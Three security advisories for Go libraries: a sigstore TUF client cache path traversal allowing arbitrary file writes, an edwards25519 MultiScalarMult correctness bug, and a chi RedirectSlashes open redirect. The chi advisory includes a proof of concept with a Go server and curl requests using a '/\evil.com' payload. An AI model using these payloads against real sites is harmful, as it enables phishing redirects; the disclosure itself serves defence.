Title
sigstore legacy TUF client allows for arbitrary file writes with target cache path traversal
Summary
sigstore framework is a common go library shared across sigstore services and clients. In versions 1.10.3 and below, the legacy TUF client (pkg/tuf/client.go) supports caching target files to disk. It constructs a filesystem path by joining a cache base directory with a target name sourced from signed target metadata; however, it does not validate that the resulting path stays within the cache base directory. A malicious TUF repository can trigger arbitrary file overwriting, limited to the permissions that the calling process has. Note that this should only affect clients that are directly using the TUF client in sigstore/sigstore or are using an older version of Cosign. Public Sigstore deployment users are unaffected, as TUF metadata is validated by a quorum of trusted collaborators. This issue has been fixed in version 1.10.4. As a workaround, users can disable disk caching for the legacy client by setting SIGSTORE_NO_CACHE=true in the environment, migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf, or upgrade to the latest sigstore/sigstore release.

Title
filippo.io/edwards25519 MultiScalarMult function produces invalid results or undefined behavior if receiver is not the identity
Summary
filippo.io/edwards25519 is a Go library implementing the edwards25519 elliptic curve with APIs for building cryptographic primitives. In versions 1.1.0 and earlier, MultiScalarMult produces invalid results or undefined behavior if the receiver is not the identity point. If (*Point).MultiScalarMult is called on an initialized point that is not the identity point, it returns an incorrect result. If the method is called on an uninitialized point, the behavior is undefined. In particular, if the receiver is the zero value, MultiScalarMult returns an invalid point that compares Equal to every other point. Note that MultiScalarMult is a rarely used, advanced API. For example, users who depend on filippo.io/edwards25519 only through github.com/go-sql-driver/mysql are not affected. This issue has been fixed in version 1.1.1.

Summary
chi has an open redirect vulnerability in the RedirectSlashes middleware
Details
Summary
The RedirectSlashes function in middleware/strip.go does not perform correct input validation and can lead to an open redirect vulnerability.
Details
The RedirectSlashes function performs a Trim to all forward slash (/) characters, while prepending a single one at the begining of the path (Line 52).
However, it does not trim backslashes (\).
File: middleware/strip.go
41: func RedirectSlashes(next http.Handler) http.Handler {
...
51: // Trim all leading and trailing slashes (e.g., "//evil.com", "/some/path//")
52: path = "/" + strings.Trim(path, "/")
...
62: }
Also, from version 5.2.2 onwards the RedirectSlashes function does not take into consideration the Host Header in the redirect response returned. This was done in order to combat another [vulnerability](https://github.com/go-chi/chi/security/advisories/GHSA-vrw8-fxc6-2r93).
The above make it possible for a response in the following form:
HTTP/1.1 301 Moved Permanently
Location: /\evil.com
The /\evil.com will be transformed by most browsers (Chrome, Firefox, etc. not Safari) into //evil.com which is a protocol relative URL and will result in a redirect to evil.com, essentially making it an open redirect vulnerability.
PoC
A minimal working example can be seen below.
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RedirectSlashes)
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
})
fmt.Println("Server starting on port 8081...")
if err := http.ListenAndServe(":8081", r); err != nil {
fmt.Printf("Error starting server: %v\n", err)
}
}
And when we request the path /\evil.com (needs a second backslash or URL encoding in the terminal), the HTTP Redirect Location is just /\evil.com without any domain/Host information.
$ curl -I localhost:8081/\\evil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com
$ curl -I localhost:8081/%5Cevil.com/
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /\evil.com
This opened in a browser (Chrome, Firefox) will result in a transformation to //evil.com which in turn will result in a redirect to evil.com.
Impact
This essentially consists of an open redirect vulnerability, provided that victim users use the most popular browsers (Chrome, Firefox, etc. It does not work in e.g. Safari).
The attacker can construct a malicious URL on a domain of a legitimate website and send it to the victim user. The victim users thinking that they will click on a legitimate website's URL, they will unknowingly be reidrected to an attacker controlled website.
This can lead to credential theft if the victim gets redirected to a phishing website, to malware that is hosted on the attacker controlled website etc. Also, it has a greate reputation / business impact for the affected legitimate website.
In order to exploit this vulnerability the attacker does not need to be authenticated or have ay other priviledge / knowledge regarding the affected application.
